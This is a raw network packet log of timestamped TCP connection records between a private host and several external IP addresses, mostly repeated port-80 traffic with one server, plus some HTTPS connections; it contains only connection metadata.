Nov 20, 2024 18:57:50.523720026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.523771048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.524347067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.524398088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.524502039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.524543047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.525122881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.525182009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.525279045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.525353909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.526063919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.526072025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.526117086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.526834011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.526842117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.526885986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.527602911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.527611017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.527678967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.528404951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.528486013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.528553009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.528897047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.529166937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.529175997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.529218912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.529917955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.529985905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.530229092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.530278921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.530776978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.530783892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.530842066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.531450033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.531502962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.531763077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.531896114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.532407999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.532476902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.532568932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.532907009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.533092976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.533159971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.553611040 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.553658009 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.553903103 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.554729939 CET	49892	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.554745913 CET	443	49892	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.579952002 CET	443	49883	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.580313921 CET	49883	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:50.580328941 CET	443	49883	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.580761909 CET	443	49883	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.581085920 CET	49883	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:50.581152916 CET	443	49883	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.640484095 CET	49883	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:50.658023119 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.658260107 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.658288002 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.659405947 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.659466982 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.659786940 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.659857988 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.660028934 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.660048008 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.700263023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.700294018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.700368881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.700615883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.700681925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.700783968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.700845957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.700885057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.701632977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.701639891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.701694012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.702441931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.702542067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.702553988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.702599049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.703207970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.703301907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.703347921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.703391075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.704034090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.704082012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.704236984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.704289913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.704848051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.704890013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.704960108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.705074072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.705744028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.705780983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.705915928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.706507921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.706597090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.706600904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.706731081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.707326889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.707350969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.707398891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.707412004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.708118916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.708178043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.708178997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.708261013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.708933115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.708980083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.709059954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.709750891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.709814072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.709865093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.709907055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.710704088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.710783005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.710836887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.711337090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.711369038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.711395979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.711411953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.712169886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.712234020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.712305069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.712416887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.712974072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.713074923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.713129044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.713790894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.713855028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.713892937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.713970900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.714586020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.714657068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.714757919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.714850903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.715477943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.715538979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.715547085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.715581894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.716260910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.716294050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.716326952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.716363907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.717077971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.717169046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.717180014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.717211962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.717837095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.717890024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.717909098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.717979908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.718669891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.718693972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.718732119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.719480991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.719536066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.719619989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.719667912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.720290899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.720382929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.720401049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.720587969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.721084118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.721142054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.721174955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.721332073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.721904993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.721966028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.721986055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.722178936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.722723961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.722780943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.722825050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.722887993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.723566055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.723617077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.723750114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.723999023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.724325895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.724416018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.724438906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.724451065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.725193977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.725200891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.725250959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.725965023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.726035118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.726103067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.727108002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.727148056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.727195024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.727600098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.727643967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.727652073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.727683067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.728439093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.728511095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.728579998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.728626013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.729274988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.729351997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.729403973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.730031013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.730114937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.730165958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.730247021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.731060982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.731158972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.731184006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.731198072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.731666088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.731786966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.731827974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.732582092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.732687950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.732764959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.733005047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.733355999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.733431101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.733434916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.733473063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.734143972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.734220028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.734261990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.734339952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.734920979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.735029936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.735084057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.735112906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.735769033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.735842943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.735848904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.735893011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.736661911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.736712933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.736726999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.736756086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.737365007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.737459898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.737497091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.737545967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.738187075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.738230944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.738280058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.738311052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.738977909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.739064932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.739166021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.739383936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.739788055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.739852905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.739902973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.739989042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.740628958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.740681887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.740710020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.740757942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.741420031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.741487026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.741533041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.741581917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.742227077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.742305040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.742357969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.742383003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.749250889 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.863837004 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:50.864382982 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:50.864404917 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:50.864837885 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:50.864842892 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:50.910881996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.910900116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.910952091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.910980940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.911204100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.911258936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.911309958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.912060022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.912111044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.912133932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.912157059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.912763119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.912837029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.912875891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.912949085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.913630009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.913686991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.913691998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.913758039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.914367914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.914489031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.914518118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.914622068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.915220022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.915270090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.915463924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.915517092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.915992022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.916035891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.916121960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.916212082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.916887045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.916959047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.916966915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.917021990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.917645931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.917700052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.917797089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.917877913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.918551922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.918612957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.918638945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.918693066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.919255972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.919423103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.919464111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.920078993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.920141935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.920186043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.920273066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.921300888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.921315908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.921365976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.922096014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.922103882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.922143936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.922488928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.922585011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.922631979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.923366070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.923414946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.923523903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.923702002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.924340010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.924418926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.924470901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.924520969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.924937963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.925040960 CET	80	49794	185.215.113.206	192.168.2.6
